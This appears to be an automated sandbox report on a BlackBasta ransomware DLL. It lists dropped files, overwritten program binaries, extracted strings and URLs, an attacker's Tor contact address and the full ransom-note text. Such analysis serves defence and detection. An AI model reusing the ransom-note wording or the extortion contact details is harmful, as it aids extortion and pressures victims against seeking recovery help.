Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\TextConv\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Triedit\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\ado\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\msadc\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\Ole DB\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\settings\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\instructions_read_me.txt	Jump to behavior

Source: WIFCgRK79c.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: rget\x86\ship\licensing\x-none\ospprearm.pdb source: OSPPREARM.EXE.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: pingsender.pdb source: pingsender.exe.3.dr
Source:	Binary string: mavinject32.pdbGCTL source: MavInject32.exe.3.dr
Source:	Binary string: AppVISVSubsystems32.pdb source: AppvIsvSubsystems32.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb!2 source: api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: msvcr120.amd64.pdb source: msvcr120.dll.3.dr
Source:	Binary string: AppVISVSubsystems32.pdbGCTL source: AppvIsvSubsystems32.dll.3.dr
Source:	Binary string: mavinject32.pdb source: MavInject32.exe.3.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source:	Binary string: rget\x86\ship\licensing\x-none\ospprearm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000; source: OSPPREARM.EXE.3.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7-zip.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7z.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\lgpllibs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7-zip32.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\gkcodecs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\ipcclientcerts.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\libGLESv2.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\freebl3.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\libEGL.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\mozavutil.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\mozavcodec.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFDFB616350 FindFirstFileW,FindNextFileW,GetLastError,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

4_2_00007FFDFB616350

Networking

Found Tor onion address

Source: rundll32.exe	String found in binary or memory: ATTENTION! Your network has been breached and all data was encrypted. Please contact us at: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352 ! To access .onion websites downlo
Source: rundll32.exe	String found in binary or memory: ATTENTION!Your network has been breached and all data was encrypted. Please contact us at:https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352! To access .onion websites downlo
Source: rundll32.exe, 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: rundll32.exe, 00000005.00000002.1870038503.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: WIFCgRK79c.dll	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt105.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt148.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt56.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt57.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt133.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt191.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: instructions_read_me.txt217.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/

Source: pingsender.exe.3.dr	String found in binary or memory: http://cacerts.diV
Source: pingsender.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DiV
Source: softokn3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: icucnv67.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: icucnv67.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: icucnv67.dll.3.dr, softokn3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: qipcap64.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/Dim
Source: qipcap64.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/N
Source: pingsender.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/u
Source: qipcap64.dll.3.dr	String found in binary or memory: http://cacerts.dim
Source: MavInject32.exe.3.dr	String found in binary or memory: http://crl.3d
Source: Au3Check.exe.3.dr	String found in binary or memory: http://crl.globalsign.
Source: Au3Check.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Au3Check.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Au3Check.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: icucnv67.dll.3.dr	String found in binary or memory: http://crl3.dig
Source: softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.c
Source: icucnv67.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.
Source: softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.c
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: icucnv67.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: pingsender.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-aB
Source: qipcap64.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ay
Source: omni.ja0.3.dr	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: omni.ja0.3.dr	String found in binary or memory: http://dev.w3.org/html5/spec/rendering.html#rendering
Source: omni.ja0.3.dr	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: omni.ja0.3.dr	String found in binary or memory: http://jsperf.com/code-review-1480
Source: formautofill@mozilla.org.xpi.3.dr	String found in binary or memory: http://mozilla.K
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.o
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.or
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.org/MPL
Source: formautofill@mozilla.org.xpi.3.dr, omni.ja0.3.dr	String found in binary or memory: http://mozilla.org/MPL/2
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.org/MPL/2.
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.org/MPL/2.0/
Source: omni.ja0.3.dr	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: icucnv67.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr, icucnv67.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr, icucnv67.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Au3Check.exe.3.dr	String found in binary or memory: http://ocsp.globalsign.com/
Source: Au3Check.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Au3Check.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Au3Check.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: softokn3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: omni.ja0.3.dr	String found in binary or memory: http://www.ethiopic.org/Collat
Source: C2RINTL.nb-no.dll.3.dr	String found in binary or memory: http://www.microsoft..
Source: formautofill@mozilla.org.xpi.3.dr	String found in binary or memory: http://www.mozilla.K
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/k
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/ke
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/keym
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/keymaste
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/keymaster
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/keymaster/gatek
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: omni.ja0.3.dr	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: omni.ja0.3.dr	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: omni.ja0.3.dr	String found in binary or memory: https://%LOCALE%.phish-error.mozilla
Source: omni.ja0.3.dr	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: omni.ja0.3.dr	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: omni.ja0.3.dr	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: omni.ja0.3.dr	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: omni.ja0.3.dr	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSIO
Source: rundll32.exe, rundll32.exe, 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.1870038503.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, WIFCgRK79c.dll, instructions_read_me.txt105.3.dr, instructions_read_me.txt148.3.dr, instructions_read_me.txt56.3.dr, instructions_read_me.txt57.3.dr, instructions_read_me.txt133.3.dr, instructions_read_me.txt191.3.dr, instructions_read_me.txt217.3.dr	String found in binary or memory: https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/
Source: omni.ja0.3.dr	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: omni.ja0.3.dr	String found in binary or memory: https://bugzilla.mozilla.
Source: omni.ja0.3.dr	String found in binary or memory: https://bugzilla.mozilla.org/sh
Source: omni.ja0.3.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: omni.ja0.3.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1592344
Source: omni.ja0.3.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: omni.ja0.3.dr	String found in binary or memory: https://crbug.com/993268
Source: omni.ja0.3.dr	String found in binary or memory: https://dap-02.api.divviup.org
Source: omni.ja0.3.dr	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: omni.ja0.3.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: omni.ja0.3.dr	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: omni.ja0.3.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Place
Source: formautofill@mozilla.org.xpi.3.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Cw
Source: omni.ja0.3.dr	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: omni.ja0.3.dr	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: omni.ja0.3.dr	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: omni.ja0.3.dr	String found in binary or memory: https://firefox-source-docs.mozilla.org/toolkit/components/t
Source: omni.ja0.3.dr	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/google/closure-compiler/
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/lit/lit/blob/
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/w3c/csswg
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: omni.ja0.3.dr	String found in binary or memory: https://github.com/whatwg/html/issues/8610
Source: omni.ja0.3.dr	String found in binary or memory: https://html.spec.what
Source: omni.ja0.3.dr	String found in binary or memory: https://html.spec.whatwg.org/#bidi-rendering
Source: omni.ja0.3.dr	String found in binary or memory: https://html.spec.whatwg.org/#flow-content-3
Source: omni.ja0.3.dr	String found in binary or memory: https://html.spec.whatwg.org/#the-details-and-summary-elements
Source: omni.ja0.3.dr	String found in binary or memory: https://incoming.telemetry.mozilla.or
Source: omni.ja0.3.dr	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-htm
Source: omni.ja0.3.dr	String found in binary or memory: https://lit.dev/docs/templates/
Source: omni.ja0.3.dr	String found in binary or memory: https://mathiasbynens.be/
Source: omni.ja0.3.dr	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
Source: omni.ja0.3.dr	String found in binary or memory: https://mathiasbynens.be/notes/javascript-escap
Source: pingsender.exe.3.dr, qipcap64.dll.3.dr, softokn3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: omni.ja0.3.dr	String found in binary or memory: https://profiler.firefox.co
Source: omni.ja0.3.dr	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop
Source: omni.ja0.3.dr	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: omni.ja0.3.dr	String found in binary or memory: https://safebrowsing.google.com/safeb
Source: omni.ja0.3.dr	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: omni.ja0.3.dr	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/down
Source: omni.ja0.3.dr	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientrepor
Source: omni.ja0.3.dr	String found in binary or memory: https://services.addons.mozilla.org/api/v
Source: omni.ja0.3.dr	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver
Source: omni.ja0.3.dr	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: omni.ja0.3.dr	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.iet
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.o
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-ht
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryp
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryptio
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#s
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: omni.ja0.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: omni.ja0.3.dr	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-seman
Source: omni.ja0.3.dr	String found in binary or memory: https://webcompat.com/issues/new
Source: omni.ja0.3.dr	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: softokn3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Au3Check.exe.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: omni.ja0.3.dr	String found in binary or memory: https://www.mozilla.org/
Source: omni.ja0.3.dr	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-servic
Source: omni.ja0.3.dr	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: omni.ja0.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: rundll32.exe, 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.1870038503.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmp, WIFCgRK79c.dll, instructions_read_me.txt105.3.dr, instructions_read_me.txt148.3.dr, instructions_read_me.txt56.3.dr, instructions_read_me.txt57.3.dr, instructions_read_me.txt133.3.dr, instructions_read_me.txt191.3.dr, instructions_read_me.txt217.3.dr	String found in binary or memory: https://www.torproject.org/
Source: omni.ja0.3.dr	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\instructions_read_me.txt

Dropped file: ATTENTION!Your network has been breached and all data was encrypted. Please contact us at:https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352*!* To access .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us)*!* To restore all your PCs and get your network working again, follow these instructions:- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.Please follow these simple rules to avoid data corruption:- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself.Waiting you in a chat.

Jump to dropped file

Yara detected BlackBasta ransomware

Source: Yara match	File source: WIFCgRK79c.dll, type: SAMPLE
Source: Yara match	File source: 5.2.rundll32.exe.7ffdfb610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.7ffdfb610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7764, type: MEMORYSTR

Drops a file containing file decryption instructions (likely related to ransomware)

Source: C:\Windows\System32\rundll32.exe	File created: C:\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\$WinREAgent\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\PerfLogs\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files (x86)\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\ProgramData\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Users\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\$WinREAgent\Scratch\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\7-Zip\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Adobe\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Common Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Google\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Internet Explorer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Microsoft Office 15\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Mozilla Firefox\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\MSBuild\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Reference Assemblies\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Uninstall Information\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Program Files\Windows Defender\instructions_read_me.txt	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Windows\System32\rundll32.exe	File dropped: C:\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\$WinREAgent\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\PerfLogs\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\Program Files\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
